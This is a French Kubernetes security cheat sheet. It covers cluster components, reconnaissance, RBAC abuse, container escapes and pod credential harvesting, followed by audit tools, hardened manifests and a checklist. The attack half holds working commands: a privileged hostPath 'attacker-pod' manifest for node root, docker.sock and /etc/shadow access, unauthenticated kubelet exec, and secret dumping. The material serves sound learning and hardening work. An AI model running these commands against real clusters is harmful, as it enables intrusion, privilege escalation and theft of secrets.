Kubernetes Security
Kubernetes (K8s) orchestre des conteneurs à grande échelle. Sa complexité et ses configurations par défaut peu sécurisées en font une cible de choix.
Architecture et surface d’attaque§
Composants d'un cluster K8s :
Control Plane :
kube-apiserver (port 6443/8080) → Point d'entrée de toutes les opérations
etcd (port 2379-2380) → Base de données du cluster (secrets, configs)
kube-scheduler → Planifie les pods sur les noeuds
kube-controller → Boucle de contrôle (états désirés)
Worker Nodes :
kubelet (port 10250/10255) → Agent sur chaque noeud
kube-proxy → Routing réseau entre services
Container Runtime (Docker, containerd, CRI-O)
Ressources :
Pod → Unité de base (un ou plusieurs conteneurs)
Service → Endpoint réseau stable pour un groupe de pods
Namespace → Isolation logique des ressources
Secret → Données sensibles (mots de passe, tokens, clés)
ConfigMap → Configuration non sensible
ServiceAccount → Identité K8s pour les pods
RBAC (Role, ClusterRole, RoleBinding, ClusterRoleBinding)
Reconnaissance§
# Depuis l'extérieur — scanner les ports K8s
nmap -p 6443,8080,10250,10255,2379,2380 target.com
# API server non authentifié (8080 — rare en production mais existant)
curl http://target.com:8080/api/v1/namespaces
curl http://target.com:8080/api/v1/secrets
# API server avec token volé
kubectl --server=https://target.com:6443 --token=<token> get pods -A
kubectl --server=https://target.com:6443 --token=<token> get secrets -A
# Depuis l'intérieur d'un pod compromis
# Le token du ServiceAccount est monté automatiquement
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER=https://kubernetes.default.svc
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/default/pods
# Vérifier ses propres droits (auth can-i)
kubectl auth can-i --list # Tout ce qu'on peut faire
kubectl auth can-i get secrets # Peut-on lire les secrets ?
kubectl auth can-i create pods # Créer des pods ?
kubectl auth can-i "*" "*" # Droits complets ?
Exploitation des mauvaises configurations RBAC§
Trop de droits sur les ressources§
# Si le ServiceAccount peut lire les secrets
kubectl get secrets -A -o json | jq '.items[].data'
# Décoder un secret Base64
kubectl get secret db-password -o jsonpath='{.data.password}' | base64 -d
# Si le SA peut lister les pods et exec
kubectl exec -it <pod-name> -- /bin/bash # Shell dans un autre pod
# Si le SA peut créer des pods → escalade vers le noeud
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: attacker-pod
spec:
hostPID: true # Partage le PID namespace du noeud
hostNetwork: true # Partage le réseau du noeud
containers:
- name: pwn
image: alpine
command: ["/bin/sh", "-c", "chroot /host /bin/bash"]
volumeMounts:
- mountPath: /host
name: node-root
securityContext:
privileged: true # Conteneur privilégié
volumes:
- name: node-root
hostPath:
path: /
EOF
kubectl exec -it attacker-pod -- /bin/sh
# → Accès root au noeud via chroot /host
Rôles dangereux courants§
# ClusterRole trop permissif — donne accès à tout
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
# Wildcard verb sur les pods → peut créer des pods privilégiés → escape vers le noeud
- apiGroups: [""]
resources: ["pods"]
verbs: ["*"]
# Accès aux secrets → tous les mots de passe du cluster
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list"]
Container Escape§
Conteneur privilégié§
# Si le conteneur s'exécute avec --privileged ou securityContext.privileged=true
# → Accès aux devices du noeud
# Depuis le conteneur privilégié
fdisk -l # Voir les disques du noeud
mount /dev/sda1 /mnt # Monter le disque du noeud
chroot /mnt /bin/bash # Shell root sur le noeud
cat /mnt/etc/shadow # Hashes root du noeud
hostPath monté§
# Si /proc du noeud est monté dans le conteneur
ls /host-proc/1/root/ # Accès au filesystem du noeud via /proc/1
# Si le socket Docker est monté (docker.sock)
ls /var/run/docker.sock
docker ps # Contrôle du daemon Docker du noeud
docker run -v /:/hostfs alpine chroot /hostfs /bin/sh # Shell root sur le noeud
Abus du kubelet (port 10250)§
# kubelet avec authentification anonyme activée
curl -sk https://node-ip:10250/pods # Liste tous les pods sur le noeud
# Exécuter une commande dans un pod via kubelet (sans authentification)
curl -sk https://node-ip:10250/run/<namespace>/<pod>/<container> \
-d "cmd=id"
Exfiltration depuis un pod§
# Token du ServiceAccount → accès à l'API K8s
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Variables d'environnement → credentials souvent stockés là
env | grep -i "password\|secret\|key\|token\|api"
# ConfigMaps montés
ls /etc/config/
cat /etc/config/application.properties
# Secrets montés comme volumes
ls /etc/secrets/
cat /etc/secrets/db-password
# Réseau interne — scanner les services accessibles
# (depuis dans le pod, le réseau du cluster est accessible)
curl http://kubernetes.default.svc/api/v1/ # API server
curl http://etcd:2379/v2/keys # etcd (si accessible)
Attaque de la chaîne de supply chain§
# Imposteur de images (si le registre n'est pas authentifié)
# Pousser une image malveillante dans le registre interne
docker tag malicious-app internal-registry.company.com/app:latest
docker push internal-registry.company.com/app:latest
# Si un pod redéploie avec cette image → code malveillant exécuté dans le cluster
# Vérifier les images utilisées et leurs vulnérabilités
trivy image nginx:latest # Scanner une image
trivy k8s --report summary cluster # Scanner tout le cluster
Outils d’audit K8s§
# kube-bench — vérifier la conformité CIS Kubernetes Benchmark
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs job.kube-bench
# kubeaudit — audit de sécurité du cluster
kubeaudit all # Toutes les vérifications
kubeaudit privileged # Conteneurs privilégiés
kubeaudit capabilities # Capabilities Linux
# kubectl-who-can — qui peut faire quoi
kubectl who-can create pods # Qui peut créer des pods ?
kubectl who-can get secrets # Qui peut lire les secrets ?
# Trivy (Aqua Security) — scanner de vulnérabilités
trivy k8s --report summary cluster
# Falco — détection d'intrusion en temps réel (eBPF)
# Règles comme "shell spawned in container", "sensitive file read"
Configurations sécurisées§
# PodSecurityContext sécurisé
apiVersion: v1
kind: Pod
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
fsGroup: 2000
seccompProfile:
type: RuntimeDefault
containers:
- name: app
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"] # Supprimer toutes les capabilities Linux
# NetworkPolicy — isolation réseau entre namespaces
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-all
namespace: production
spec:
podSelector: {} # S'applique à tous les pods
policyTypes:
- Ingress
- Egress
ingress: [] # Aucun trafic entrant autorisé par défaut
egress: [] # Aucun trafic sortant autorisé par défaut
# RBAC minimal — least privilege
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: app-role
namespace: production
rules:
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["get"] # Seulement lire, seulement les configmaps
# Ne JAMAIS accorder secrets/*, pods/exec, ou verbs: ["*"]
Checklist Kubernetes :
✓ RBAC avec least privilege — pas de wildcards
✓ Pas de ServiceAccount token auto-monté si non nécessaire
✓ Network Policies pour isoler les namespaces
✓ Pod Security Standards (Restricted) sur les namespaces production
✓ Secrets chiffrés dans etcd (EncryptionConfiguration)
✓ Audit logs de l'API server activés
✓ Images scannées avant déploiement (Trivy, Snyk)
✓ Falco pour la détection comportementale à l'exécution
✓ Pas d'accès anonyme au kubelet (--anonymous-auth=false)
✓ API server non exposé sur Internet—The Gardener